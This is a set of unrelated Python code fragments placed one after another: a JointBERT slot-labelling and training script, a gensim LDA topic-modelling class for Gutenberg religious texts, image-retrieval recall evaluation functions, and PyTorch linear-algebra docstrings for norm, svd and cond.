'I-VALUE', 'O'], x)) == len(x))] q_t3_val_df = pd.read_json("q_t3_val.json", lines = True) q_t3_val_df["labeling"] = q_t3_val_df.apply(lambda s: labeling(s["question"], s["cond_t3"], left_slot_flag = "HEADER", right_slot_flog = "VALUE"), axis = 1) q_t3_val_df["in"] = q_t3_val_df["labeling"].map(lambda x: x[0]) q_t3_val_df["out"] = q_t3_val_df["labeling"].map(lambda x: x[1]) q_t3_val_df["label"] = q_t3_val_df["labeling"].map(lambda x: op_sql_dict[x[2]]) q_t3_val_df_filtered = q_t3_val_df[q_t3_val_df["out"].map(lambda x: sum(map(lambda t: t in ['B-HEADER', 'I-HEADER', 'B-VALUE', 'I-VALUE', 'O'], x)) == len(x))] q_t3_val_df_filtered = q_t3_val_df_filtered[q_t3_val_df_filtered["out"].map(lambda x: list(filter(lambda y: y.startswith("B"), x))).map(len) == 2] ic(q_t3_train_df_filtered.shape ,q_t3_val_df_filtered.shape) q_t3_total_df = pd.concat([q_t3_train_df_filtered, q_t3_val_df_filtered], axis = 0) q_t3_total_df["cond_t3"] = q_t3_total_df["cond_t3"].map(tuple) q_t3_total_df["in"] = q_t3_total_df["in"].map(tuple) q_t3_total_df["out"] = q_t3_total_df["out"].map(tuple) dump_dfs_to_dir(q_t3_total_df ,conds_path) jointbert_path = "../../featurize/JointBERT" sys.path.append(jointbert_path) from data_loader import * from main import * from model.modeling_jointbert import * from model.modeling_jointbert import JointBERT from trainer import * class JointProcessor_DROP_SOME(JointProcessor): """Processor for the JointBERT data set """ def _create_examples(self, texts, intents, slots, set_type): """Creates examples for the training and dev sets.""" examples = [] for i, (text, intent, slot) in enumerate(zip(texts, intents, slots)): guid = "%s-%s" % (set_type, i) # 1. input_text words = text.split() # Some are spaced twice # 2. intent intent_label = self.intent_labels.index(intent) if intent in self.intent_labels else self.intent_labels.index("UNK") # 3. slot slot_labels = [] for s in slot.split(): slot_labels.append(self.slot_labels.index(s) if s in self.slot_labels else self.slot_labels.index("UNK")) if len(words) == len(slot_labels): examples.append(InputExample(guid=guid, words=words, intent_label=intent_label, slot_labels=slot_labels)) return examples class Trainer_DROP_SOME(Trainer): def train(self): train_sampler = RandomSampler(self.train_dataset) train_dataloader = DataLoader(self.train_dataset, sampler=train_sampler, batch_size=self.args.train_batch_size) if self.args.max_steps > 0: t_total = self.args.max_steps self.args.num_train_epochs = self.args.max_steps // (len(train_dataloader) // self.args.gradient_accumulation_steps) + 1 else: t_total = len(train_dataloader) // self.args.gradient_accumulation_steps * self.args.num_train_epochs # Prepare optimizer and schedule (linear warmup and decay) no_decay = ['bias', 'LayerNorm.weight'] optimizer_grouped_parameters = [ {'params': [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay)], 'weight_decay': self.args.weight_decay}, {'params': [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay)], 'weight_decay': 0.0} ] optimizer = AdamW(optimizer_grouped_parameters, lr=self.args.learning_rate, eps=self.args.adam_epsilon) scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=self.args.warmup_steps, num_training_steps=t_total) # Train! logger.info("***** Running training *****") logger.info(" Num examples = %d", len(self.train_dataset)) logger.info(" Num Epochs = %d", self.args.num_train_epochs) logger.info(" Total train batch size = %d", self.args.train_batch_size) logger.info(" Gradient Accumulation steps = %d", self.args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", t_total) logger.info(" Logging steps = %d", self.args.logging_steps) logger.info(" Save steps = %d", self.args.save_steps) global_step = 0 tr_loss = 0.0
<gh_stars>0 # Path and system operations import sys,os sys.path.append(os.path.join("..", "..")) import pandas as pd import random from collections import Counter # Suppress warnings import warnings warnings.filterwarnings("ignore") # Regex tools import re import string # Spacy import spacy import en_core_web_sm nlp = en_core_web_sm.load(disable=["ner"]) # LDA tools import gensim import gensim.corpora as corpora from gensim.models import CoherenceModel from utils import lda_utils from gensim.test.utils import datapath # Visualization # import pyLDAvis.gensim import matplotlib.pyplot as plt import matplotlib.colors as mcolors import argparse class ReligiousTP: def __init__(self, args): self.args = args def read_txt(self): ''' This functions takes a filename or list of filenames, loads it/them and returns the data. ''' with open(os.path.join("..","..", "data", "5", self.args['filename']), 'r', encoding="utf-8") as f: book = f.read() self.basename = os.path.splitext(os.path.basename(self.args['filename']))[0] return book # Preprocessing def remove_things(self, book): print("[INFO] Preprocessing text...") ''' Preprocessing function to remove digits, newlines, punctuation (expect '.'). In addition, it checks whether the len of the text exceeds the max for spacy Input: book: str, text data in one long string Output: text: str, preprocessed text data ''' # Filters Gutenberg related text if self.basename == "pg2800": #intro text different for pg2800.txt text = book[book.find("END THE SMALL PRINT! FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END"):book.find("End of The Project Gutenberg Etext of The Koran")] else: text = book[book.find("* START OF THIS PROJECT GUTENBERG EBOOK"):book.find("End of the Project Gutenberg EBook of")] text=re.sub(r'[^\w.\s]', '', text) #remove everything except word characters, space, and '.' text=re.sub(r'\s+', ' ', text) #remove newline without removing spaces text=re.sub(r'\d+', '', text) #remove digits # Ensure that len of text does not exceed spacy's limit if len(text) > 1000000: text = text[:100000] return text def make_corpus(self, text, nlp): '''This function takes a text and Language object, splits the text into chunks and performs different preprocessing steps - including stopword removal, forming bigrams and trigrams, lemmatization and pos-tagging. Lastly, a dictionary with an integer value for each word and a corpus with 'bag of words' model for all chunks are returned. Input: text: str, text data nlp: Language object (e.g. nlp = en_core_web_sm.load(disable=["ner"])) Output: id2word: dict, dictionary with an integer value for each word corpus: list of (token_id, token_count) 2-tuples, Term Document Frequency within chunks (bag-of-words) ''' print("[INFO] Creating text corpus...") # Doc object doc = nlp(text) # Split into chunks sentences = [sent.string.strip() for sent in doc.sents] #sentences # Build the bigram and trigram models bigram = gensim.models.Phrases(sentences, min_count=3, threshold=100) trigram = gensim.models.Phrases(bigram[sentences], threshold=100) # Fitting the models to the data bigram_mod = gensim.models.phrases.Phraser(bigram) trigram_mod = gensim.models.phrases.Phraser(trigram) # Perform additional preprocessing steps (stopwords, lemmas, pos) text_processed = lda_utils.process_words(sentences, nlp, bigram_mod, trigram_mod, allowed_postags=['NOUN', "ADJ"]) # Create Dictionary id2word = corpora.Dictionary(text_processed) id2word.filter_extremes(no_below=5, no_above=0.5) # Create Corpus: Term Document Frequency corpus = [id2word.doc2bow(text) for text in text_processed] return text_processed, id2word, corpus def compute_metrics(self, dictionary, corpus, texts, limit=30, start=2, step=3, outpath = ".png"): """ Compute c_v coherence for various number of topics Input: dictionary : Gensim dictionary corpus : Gensim corpus texts : List of input texts limit : Max num of topics Output: model_list : List of LDA topic models coherence_values : Coherence values corresponding to the LDA model with respective number of topics """ print("[INFO] Calculating coherence and perplexity scores...") random.seed(2021) coherence_values = [] perplexity = [] model_list = [] # Computing LDA model for each n of topics to for topic_n in range(start, limit, step): model = gensim.models.LdaMulticore(corpus=corpus, # Stream of document vectors or sparse matrix of shape num_topics=topic_n, # The number of requested latent topics to be extracted from the training corpus. id2word=dictionary)# Mapping from word IDs to words. It is used to determine the vocabulary size, as well as for debugging and topic printing. model_list.append(model) # Perplexity and coherence values perplexity.append(model.log_perplexity(corpus)) coherencemodel = CoherenceModel(model=model, # Pre-trained topic model texts=texts, # Tokenized texts dictionary=dictionary, # Gensim dictionary mapping of id word to create corpus coherence='c_v') # Coherence measure to be used coherence_values.append(coherencemodel.get_coherence()) # Plot and save x = range(start, limit, step) if self.args['metric'] == 'coherence': plt.plot(x, coherence_values) elif self.args['metric'] == 'perplexity': plt.plot(x, perplexity) plt.xlabel("Number of topics") plt.ylabel(f"{self.args['metric']} score") plt.legend((f"{self.args['metric']}_values"), loc='best') print(f"[INFO] saving model of topic {self.args['metric']} ...") plt.savefig(os.path.join(self.args['outpath'],f"{self.args['metric']}.png")) plt.show() # Dataframe with metric info = pd.DataFrame(zip(x, coherence_values, perplexity), columns = ["n_topic", "coherence", "perplexity"]) if self.args['metric'] == 'coherence': # Print the coherence scores info = info.sort_values("coherence", ascending = False, ignore_index = True) optimal_topic = info.n_topic.loc[0] elif self.args['metric'] == 'perplexity': info = info.sort_values("perplexity", ascending = True, ignore_index = True) self.optimal_topics = info.n_topic.loc[0] # Using .loc we can index the df and get the zero row and print this using formatted strings print(f"Topic with highest {self.args['metric']} score is topic number {self.optimal_topics}") return model_list, info def LDA(self, corpus, id2word, text_processed): ''' Compute LDA model using gensim. Input: corpus : Gensim corpus id2word: dict, dictionary with an integer value for each word text_processed : List of input texts num_topics: Num of topics Output: lda_model : LDA topic model ''' print("[INFO] Building LDA model...") # Taking optimal topics from the calculation above if metric is specified if args['metric'] is not None: self.num_topics = self.optimal_topics else: self.num_topics = self.args['num_topics'] # Build LDA model self.lda_model = gensim.models.LdaMulticore(corpus=corpus, #vectorized corpus - list of lists of tuples id2word=id2word, #gensim dict - mapping word to IDS num_topics=self.num_topics, #number of topics random_state=100, #set for reproducibility eta = "auto", alpha = "asymmetric", chunksize=10, #batch data for efficiency passes=10, #number of full passes over data (similar to epochs in nn) iterations=100, #number of times going over single document (rather than corpus) per_word_topics=True, #define word distributions minimum_probability=0.0) #minimum value (so it also returns those that do not appear) # Evaluate final model # Perplexity print('\nPerplexity: ', self.lda_model.log_perplexity(corpus)) # Coherence coherence_model_lda = CoherenceModel(model=self.lda_model, texts=text_processed, dictionary=id2word, coherence='c_v') coherence_lda = coherence_model_lda.get_coherence() print('\nCoherence Score: ', coherence_lda) def get_topics(self, corpus, text_processed): ''' Prints most dominant topics calculated by the topic-model. Input: lda_model : topic-model text_processed : List of input texts corpus: Gensim corpus ''' print("[INFO] Retrieving most dominant topics...") # Display setting to show more characters in column pd.options.display.max_colwidth = 100 # Results topic_keywords = lda_utils.format_topics_sentences(ldamodel=self.lda_model, corpus=corpus, texts=text_processed) topics_sorted = pd.DataFrame() topics_outdf_grpd = topic_keywords.groupby('Dominant_Topic') for i, grp in topics_outdf_grpd: topics_sorted = pd.concat([topics_sorted, grp.sort_values(['Perc_Contribution'], ascending=False).head(1)], axis=0) # Reset Index topics_sorted.reset_index(drop=True, inplace=True) # Format topics_sorted.columns = ['Topic_Num', "Topic_Perc_Contrib", "Keywords", "Representative Text"] # Save topics_sorted.to_csv(os.path.join(self.args['outpath'],f"{self.basename}_topics_sorted.csv")) def plot_results(self, text_processed): ''' Generates and saves plot of word weight and occurrences in each topic ''' # Cannot plot below 8 topics because of too few colors if self.num_topics < 8: # Collect topics topics = self.lda_model.show_topics(formatted=False) data_flat = [w for w_list in text_processed for w in w_list] counter = Counter(data_flat) out = [] # Count occurrence of word and its weight in topic for i, topic in topics: for word, weight in topic: out.append([word, i , weight, counter[word]]) df = pd.DataFrame(out, columns=['word', 'topic_id', 'importance', 'word_count']) # Plot fig, axes = plt.subplots(self.num_topics, 1, figsize=(16,20), sharey=True, dpi=160) # Colors cols = [color for name, color in mcolors.BASE_COLORS.items()] # Take every subplot for i, ax in enumerate(axes.flatten()): ax.bar(x='word', height="word_count", data=df.loc[df.topic_id==i, :], color=cols[i], width=0.5, alpha=0.3, label='Word Count') ax_twin = ax.twinx() ax_twin.bar(x='word', height="importance", data=df.loc[df.topic_id==i, :], color=cols[i], width=0.2, label='Weights') ax.set_ylabel('Word Count', color=cols[i]) ax.set_title('Topic: ' + str(i), color=cols[i], fontsize=16) ax.tick_params(axis='y', left=False) ax.set_xticklabels(df.loc[df.topic_id==i, 'word'], rotation=30, horizontalalignment= 'right') ax.legend(bbox_to_anchor=(1, 0.9)); ax_twin.legend(loc='upper right') # Define layout fig.tight_layout(w_pad=2) fig.suptitle('Word Count and Importance of Topic Keywords', fontsize=22, y=1.05) # Save figure plt.savefig(os.path.join(self.args['outpath'],f"{self.basename}_word_weight_occurrence.png")) plt.show() print(f"[INFO] Figure with topics and keywords is saved in {self.args['outpath']} as {self.basename}_word_weight_occurrence.png") def main(): # Add arguments ap = argparse.ArgumentParser(description="[INFO] class made to perform topic modelling on religious texts") ap.add_argument("-f", "--filename", required=False, type=str, default= "pg10.txt", # Bible help="str, filename for txt file") ap.add_argument("-o", "--outpath", required=False, type=str, default= os.path.join("..","..","out", "5"), help="str, folder for output files") ap.add_argument("-m", "--metric", required=False, choices = ["coherence", "perplexity"], type=str, help="str, method to
len(nn_result) out += [('recall_top' + str(k) + '_correct_noun', r)] return out def testLoadedNLP(opt, model, testset, model2): """Tests a model over the given testset.""" model.eval() test_queries = testset.get_test_queries() all_imgs = [] all_captions = [] all_queries = [] all_target_captions = [] if test_queries: # compute test query features all_imgs = datasets.Features33K().Get_all_images() all_captions = datasets.Features33K().Get_all_captions() all_queries = datasets.Features33K().Get_all_queries() all_target_captions = datasets.Features33K().Get_target_captions() all_queries=(torch.Tensor(all_queries)) all_queries=model2.myforward(all_queries).data.cpu().numpy() else: # use training queries to approximate training retrieval performance all_imgs = datasets.Features172K().Get_all_images()[:10000] all_captions = datasets.Features172K().Get_all_captions()[:10000] all_queries = datasets.Features172K().Get_all_queries()[:10000] all_target_captions = datasets.Features172K().Get_all_captions()[:10000] all_queries=(torch.Tensor(all_queries)) all_queries=model2.myforward(all_queries).data.cpu().numpy() # feature normalization for i in range(all_queries.shape[0]): all_queries[i, :] /= np.linalg.norm(all_queries[i, :]) for i in range(all_imgs.shape[0]): all_imgs[i, :] /= np.linalg.norm(all_imgs[i, :]) # match test queries to target images, get nearest neighbors nn_result = [] for i in tqdm(range(all_queries.shape[0])): sims = all_queries[i:(i+1), :].dot(all_imgs.T) if test_queries: sims[0, test_queries[i]['source_img_id']] = -10e10 # remove query image nn_result.append(np.argsort(-sims[0, :])[:110]) # compute recalls out = [] nn_result = [[all_captions[nn] for nn in nns] for nns in nn_result] for k in [1, 5, 10, 50, 100]: r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i] in nns[:k]: r += 1 r /= len(nn_result) #out += [('recall_top' + str(k) + '_correct_composition', r)] out.append(str(k) + ' ---> '+ str(r*100)) if opt.dataset == 'mitstates': r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[0] in [c.split()[0] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_adj', r)] r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[1] in [c.split()[1] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_noun', r)] return out def testLoadedBetaWNLP(opt, model, testset,beta, model2): """Tests a model over the given testset.""" model.eval() test_queries = testset.get_test_queries() all_imgs = [] all_captions = [] all_queries = [] all_queries1=[] all_target_captions = [] if test_queries: # compute test query features all_imgs = datasets.Features33K().Get_all_images() all_captions = datasets.Features33K().Get_all_captions() all_queries1 = datasets.Features33K().Get_all_queries() all_target_captions = datasets.Features33K().Get_target_captions() for j in range(len(all_queries1)): all_queries1[j, :] /= np.linalg.norm(all_queries1[j, :]) X1 = np.insert(all_queries1[j],0, 1) X2=np.matmul(X1,beta) all_queries.append(X2) else: # use training queries to approximate training retrieval performance all_imgs = datasets.Features172K().Get_all_images()[:10000] all_captions = datasets.Features172K().Get_all_captions()[:10000] all_queries1 = datasets.Features172K().Get_all_queries()[:10000] all_target_captions = datasets.Features172K().Get_all_captions()[:10000] for j in range(len(all_queries1)): all_queries1[j, :] /= np.linalg.norm(all_queries1[j, :]) X1 = np.insert(all_queries1[j],0, 1) X2=np.matmul(X1,beta) all_queries.append(X2) all_queries= np.array(all_queries) all_queries=(torch.Tensor(all_queries)) all_queries=model2.myforward(all_queries).data.cpu().numpy() # feature normalization # for i in range(all_queries.shape[0]): # all_queries[i, :] /= np.linalg.norm(all_queries[i, :]) for i in range(all_imgs.shape[0]): all_imgs[i, :] /= np.linalg.norm(all_imgs[i, :]) # match test queries to target images, get nearest neighbors nn_result = [] for i in tqdm(range(all_queries.shape[0])): sims = all_queries[i:(i+1), :].dot(all_imgs.T) if test_queries: sims[0, test_queries[i]['source_img_id']] = -10e10 # remove query image nn_result.append(np.argsort(-sims[0, :])[:110]) # compute recalls out = [] nn_result = [[all_captions[nn] for nn in nns] for nns in nn_result] for k in [1, 5, 10, 50, 100]: r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i] in nns[:k]: r += 1 r /= len(nn_result) #out += [('recall_top' + str(k) + '_correct_composition', r)] out.append(str(k) + ' ---> '+ str(r*100)) if opt.dataset == 'mitstates': r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[0] in [c.split()[0] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_adj', r)] r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[1] in [c.split()[1] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_noun', r)] return out def testLoadedNLPwBeta(opt, model, testset,beta, model2): """Tests a model over the given testset.""" model.eval() test_queries = testset.get_test_queries() all_imgs = [] all_captions = [] all_queries = [] all_queries1=[] all_target_captions = [] if test_queries: # compute test query features all_imgs = datasets.Features33K().Get_all_images() all_captions = datasets.Features33K().Get_all_captions() all_queries1 = datasets.Features33K().Get_all_queries() all_target_captions = datasets.Features33K().Get_target_captions() all_queries1=(torch.Tensor(all_queries1)) all_queries1=model2.myforward(all_queries1).data.cpu().numpy() for j in range(len(all_queries1)): all_queries1[j, :] /= np.linalg.norm(all_queries1[j, :]) X1 = np.insert(all_queries1[j],0, 1) X2=np.matmul(X1,beta) all_queries.append(X2) else: # use training queries to approximate training retrieval performance all_imgs = datasets.Features172K().Get_all_images()[:10000] all_captions = datasets.Features172K().Get_all_captions()[:10000] all_queries1 = datasets.Features172K().Get_all_queries()[:10000] all_target_captions = datasets.Features172K().Get_all_captions()[:10000] all_queries1=(torch.Tensor(all_queries1)) all_queries1=model2.myforward(all_queries1).data.cpu().numpy() for j in range(len(all_queries1)): all_queries1[j, :] /= np.linalg.norm(all_queries1[j, :]) X1 = np.insert(all_queries1[j],0, 1) X2=np.matmul(X1,beta) all_queries.append(X2) all_queries= np.array(all_queries) # feature normalization # for i in range(all_queries.shape[0]): # all_queries[i, :] /= np.linalg.norm(all_queries[i, :]) for i in range(all_imgs.shape[0]): all_imgs[i, :] /= np.linalg.norm(all_imgs[i, :]) # match test queries to target images, get nearest neighbors nn_result = [] for i in tqdm(range(all_queries.shape[0])): sims = all_queries[i:(i+1), :].dot(all_imgs.T) if test_queries: sims[0, test_queries[i]['source_img_id']] = -10e10 # remove query image nn_result.append(np.argsort(-sims[0, :])[:110]) # compute recalls out = [] nn_result = [[all_captions[nn] for nn in nns] for nns in nn_result] for k in [1, 5, 10, 50, 100]: r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i] in nns[:k]: r += 1 r /= len(nn_result) #out += [('recall_top' + str(k) + '_correct_composition', r)] out.append(str(k) + ' ---> '+ str(r*100)) if opt.dataset == 'mitstates': r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[0] in [c.split()[0] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_adj', r)] r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[1] in [c.split()[1] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_noun', r)] return out def testLoaded_NLP(opt, model, testset): """Tests a model over the given testset.""" model.eval() test_queries = testset.get_test_queries() all_imgs = [] all_captions = [] all_queries = [] all_target_captions = [] if test_queries: # compute test query features all_imgs = datasets.Features33K().Get_all_images() all_captions = datasets.Features33K().Get_all_captions() all_queries = datasets.Features33K().Get_all_queries() all_target_captions = datasets.Features33K().Get_target_captions() else: # use training queries to approximate training retrieval performance all_imgs = datasets.Features172K().Get_all_images()#[:10000] all_captions = datasets.Features172K().Get_all_captions()#[:10000] all_queries = datasets.Features172K().Get_all_queries()#[:10000] all_target_captions = datasets.Features172K().Get_all_captions()#[:10000] modelNLR=main2.NLR2(all_queries.shape[1],all_imgs.shape[1],700) modelNLR.load_state_dict(torch.load(Path1+r'\NLPMohamed3.pth')) modelNLR.eval() all_queries=torch.from_numpy(all_queries) # for t in range(int(len(all_queries))): # print('get testdata=',t,end='\r') # f=all_queries[t] # all_queries[t] = modelNLR.myforward(f) all_queries = modelNLR.myforward(all_queries) #all_queries.detach().numpy() all_queries = torch.tensor(all_queries,requires_grad=False) all_queries=np.array(all_queries) # feature normalization for i in range(all_queries.shape[0]): all_queries[i, :] /= np.linalg.norm(all_queries[i, :]) for i in range(all_imgs.shape[0]): all_imgs[i, :] /= np.linalg.norm(all_imgs[i, :]) # match test queries to target images, get nearest neighbors nn_result = [] for i in tqdm(range(all_queries.shape[0])): sims = all_queries[i:(i+1), :].dot(all_imgs.T) if test_queries: sims[0, test_queries[i]['source_img_id']] = -10e10 # remove query image nn_result.append(np.argsort(-sims[0, :])[:110]) # compute recalls out = [] nn_result = [[all_captions[nn] for nn in nns] for nns in nn_result] for k in [1, 5, 10, 50, 100]: r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i] in nns[:k]: r += 1 r /= len(nn_result) #out += [('recall_top' + str(k) + '_correct_composition', r)] out.append(str(k) + ' ---> '+ str(r*100)) if opt.dataset == 'mitstates': r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[0] in [c.split()[0] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_adj', r)] r = 0.0 for i, nns in enumerate(nn_result): if all_target_captions[i].split()[1] in [c.split()[1] for c in nns[:k]]: r += 1 r /= len(nn_result) out += [('recall_top' + str(k) + '_correct_noun', r)] return out def testWbeta(opt, model, testset,beta): """Tests a model over the given testset.""" model.eval() test_queries = testset.get_test_queries() all_imgs = [] all_captions = [] all_queries = [] all_target_captions = [] if test_queries: # compute test query features imgs = [] mods = [] for t in tqdm(test_queries): imgs += [testset.get_img(t['source_img_id'])] mods += [t['mod']['str']] if len(imgs) >= opt.batch_size or t is test_queries[-1]: if 'torch' not in str(type(imgs[0])): imgs = [torch.from_numpy(d).float() for d in imgs] imgs = torch.stack(imgs).float() imgs = torch.autograd.Variable(imgs) f = model.compose_img_text(imgs, mods).data.cpu().numpy() for j in range(len(f)): # for i in range(f.shape[0]): # f[i, :] /= np.linalg.norm(f[i, :]) f[j, :] /= np.linalg.norm(f[j, :]) X1 = np.insert(f[j],0, 1) X2=np.matmul(X1,beta) f[j]=X2 all_queries += [f] imgs = [] mods = [] all_queries = np.concatenate(all_queries) all_target_captions = [t['target_caption'] for t in test_queries] # compute all image features imgs = [] for i in tqdm(range(len(testset.imgs))): imgs += [testset.get_img(i)] if len(imgs) >= opt.batch_size or i == len(testset.imgs) - 1: if 'torch' not in str(type(imgs[0])): imgs
3)) >>> b tensor([[-4., -3., -2.], [-1., 0., 1.], [ 2., 3., 4.]]) >>> LA.norm(a) tensor(7.7460) >>> LA.norm(b) tensor(7.7460) >>> LA.norm(b, 'fro') tensor(7.7460) >>> LA.norm(a, float('inf')) tensor(4.) >>> LA.norm(b, float('inf')) tensor(9.) >>> LA.norm(a, -float('inf')) tensor(0.) >>> LA.norm(b, -float('inf')) tensor(2.) >>> LA.norm(a, 1) tensor(20.) >>> LA.norm(b, 1) tensor(7.) >>> LA.norm(a, -1) tensor(0.) >>> LA.norm(b, -1) tensor(6.) >>> LA.norm(a, 2) tensor(7.7460) >>> LA.norm(b, 2) tensor(7.3485) >>> LA.norm(a, -2) tensor(0.) >>> LA.norm(b.double(), -2) tensor(1.8570e-16, dtype=torch.float64) >>> LA.norm(a, 3) tensor(5.8480) >>> LA.norm(a, -3) tensor(0.) Using the :attr:`dim` argument to compute vector norms:: >>> c = torch.tensor([[1., 2., 3.], ... [-1, 1, 4]]) >>> LA.norm(c, dim=0) tensor([1.4142, 2.2361, 5.0000]) >>> LA.norm(c, dim=1) tensor([3.7417, 4.2426]) >>> LA.norm(c, ord=1, dim=1) tensor([6., 6.]) Using the :attr:`dim` argument to compute matrix norms:: >>> m = torch.arange(8, dtype=torch.float).reshape(2, 2, 2) >>> LA.norm(m, dim=(1,2)) tensor([ 3.7417, 11.2250]) >>> LA.norm(m[0, :, :]), LA.norm(m[1, :, :]) (tensor(3.7417), tensor(11.2250)) """) svd = _add_docstr(_linalg.linalg_svd, r""" linalg.svd(input, full_matrices=True, compute_uv=True, *, out=None) -> (Tensor, Tensor, Tensor) Computes the singular value decomposition of either a matrix or batch of matrices :attr:`input`." The singular value decomposition is represented as a namedtuple ``(U, S, Vh)``, such that :math:`input = U \mathbin{@} diag(S) \times Vh`. If :attr:`input` is a batch of tensors, then ``U``, ``S``, and ``Vh`` are also batched with the same batch dimensions as :attr:`input`. If :attr:`full_matrices` is ``False`` (default), the method returns the reduced singular value decomposition i.e., if the last two dimensions of :attr:`input` are ``m`` and ``n``, then the returned `U` and `V` matrices will contain only :math:`min(n, m)` orthonormal columns. If :attr:`compute_uv` is ``False``, the returned `U` and `Vh` will be empy tensors with no elements and the same device as :attr:`input`. The :attr:`full_matrices` argument has no effect when :attr:`compute_uv` is False. The dtypes of ``U`` and ``V`` are the same as :attr:`input`'s. ``S`` will always be real-valued, even if :attr:`input` is complex. .. note:: Unlike NumPy's ``linalg.svd``, this always returns a namedtuple of three tensors, even when :attr:`compute_uv=False`. This behavior may change in a future PyTorch release. .. note:: The singular values are returned in descending order. If :attr:`input` is a batch of matrices, then the singular values of each matrix in the batch is returned in descending order. .. note:: The implementation of SVD on CPU uses the LAPACK routine `?gesdd` (a divide-and-conquer algorithm) instead of `?gesvd` for speed. Analogously, the SVD on GPU uses the cuSOLVER routines `gesvdj` and `gesvdjBatched` on CUDA 10.1.243 and later, and uses the MAGMA routine `gesdd` on earlier versions of CUDA. .. note:: The returned matrix `U` will be transposed, i.e. with strides :code:`U.contiguous().transpose(-2, -1).stride()`. .. note:: Gradients computed using `U` and `Vh` may be unstable if :attr:`input` is not full rank or has non-unique singular values. .. note:: When :attr:`full_matrices` = ``True``, the gradients on :code:`U[..., :, min(m, n):]` and :code:`V[..., :, min(m, n):]` will be ignored in backward as those vectors can be arbitrary bases of the subspaces. .. note:: The `S` tensor can only be used to compute gradients if :attr:`compute_uv` is True. .. note:: Since `U` and `V` of an SVD is not unique, each vector can be multiplied by an arbitrary phase factor :math:`e^{i \phi}` while the SVD result is still correct. Different platforms, like Numpy, or inputs on different device types, may produce different `U` and `V` tensors. Args: input (Tensor): the input tensor of size :math:`(*, m, n)` where `*` is zero or more batch dimensions consisting of :math:`m \times n` matrices. full_matrices (bool, optional): controls whether to compute the full or reduced decomposition, and consequently the shape of returned ``U`` and ``V``. Defaults to True. compute_uv (bool, optional): whether to compute `U` and `V` or not. Defaults to True. out (tuple, optional): a tuple of three tensors to use for the outputs. If compute_uv=False, the 1st and 3rd arguments must be tensors, but they are ignored. E.g. you can pass `(torch.Tensor(), out_S, torch.Tensor())` Example:: >>> import torch >>> a = torch.randn(5, 3) >>> a tensor([[-0.3357, -0.2987, -1.1096], [ 1.4894, 1.0016, -0.4572], [-1.9401, 0.7437, 2.0968], [ 0.1515, 1.3812, 1.5491], [-1.8489, -0.5907, -2.5673]]) >>> >>> # reconstruction in the full_matrices=False case >>> u, s, vh = torch.linalg.svd(a, full_matrices=False) >>> u.shape, s.shape, vh.shape (torch.Size([5, 3]), torch.Size([3]), torch.Size([3, 3])) >>> torch.dist(a, u @ torch.diag(s) @ vh) tensor(1.0486e-06) >>> >>> # reconstruction in the full_matrices=True case >>> u, s, vh = torch.linalg.svd(a) >>> u.shape, s.shape, vh.shape (torch.Size([5, 5]), torch.Size([3]), torch.Size([3, 3])) >>> torch.dist(a, u[:, :3] @ torch.diag(s) @ vh) >>> torch.dist(a, u[:, :3] @ torch.diag(s) @ vh) tensor(1.0486e-06) >>> >>> # extra dimensions >>> a_big = torch.randn(7, 5, 3) >>> u, s, vh = torch.linalg.svd(a_big, full_matrices=False) >>> torch.dist(a_big, u @ torch.diag_embed(s) @ vh) tensor(3.0957e-06) """) cond = _add_docstr(_linalg.linalg_cond, r""" linalg.cond(input, p=None, *, out=None) -> Tensor Computes the condition number of a matrix :attr:`input`, or of each matrix in a batched :attr:`input`, using the matrix norm defined by :attr:`p`. For norms `{'fro', 'nuc', inf, -inf, 1, -1}` this is defined as the matrix norm of :attr:`input` times the matrix norm of the inverse of :attr:`input` computed using :func:`torch.linalg.norm`. While for norms `{None, 2, -2}` this is defined as the ratio between the largest and smallest singular values computed using :func:`torch.linalg.svd`. This function supports float, double, cfloat and cdouble dtypes. .. note:: When given inputs on a CUDA device, this function may synchronize that device with the CPU depending on which norm :attr:`p` is used. .. note:: For norms `{None, 2, -2}`, :attr:`input` may be a non-square matrix or batch of non-square matrices. For other norms, however, :attr:`input` must be a square matrix or a batch of square matrices, and if this requirement is not satisfied a RuntimeError will be thrown. .. note:: For norms `{'fro', 'nuc', inf, -inf, 1, -1}` if :attr:`input` is a non-invertible matrix then a tensor containing infinity will be returned. If :attr:`input` is a batch of matrices and one or more of them is not invertible then a RuntimeError will be thrown. Args: input (Tensor): the input matrix of size `(m, n)` or the batch of matrices of size `(*, m, n)` where `*` is one or more batch dimensions. p (int, float, inf, -inf, 'fro', 'nuc', optional): the type of the matrix norm to use in the computations. inf refers to :attr:`float('inf')`, numpy's :attr:`inf` object, or any equivalent object. The following norms can be used: ===== ============================ p norm for matrices ===== ============================ None ratio of the largest singular value to the smallest singular value 'fro' Frobenius norm 'nuc' nuclear norm inf max(sum(abs(x), dim=1)) -inf min(sum(abs(x), dim=1)) 1 max(sum(abs(x), dim=0)) -1 min(sum(abs(x), dim=0)) 2 ratio of the largest singular value to the smallest singular value -2 ratio of the smallest singular value to the largest singular value ===== ============================ Default: ``None`` Keyword args: out (Tensor, optional): tensor to write the output to. Default is ``None``. Returns: The condition number of 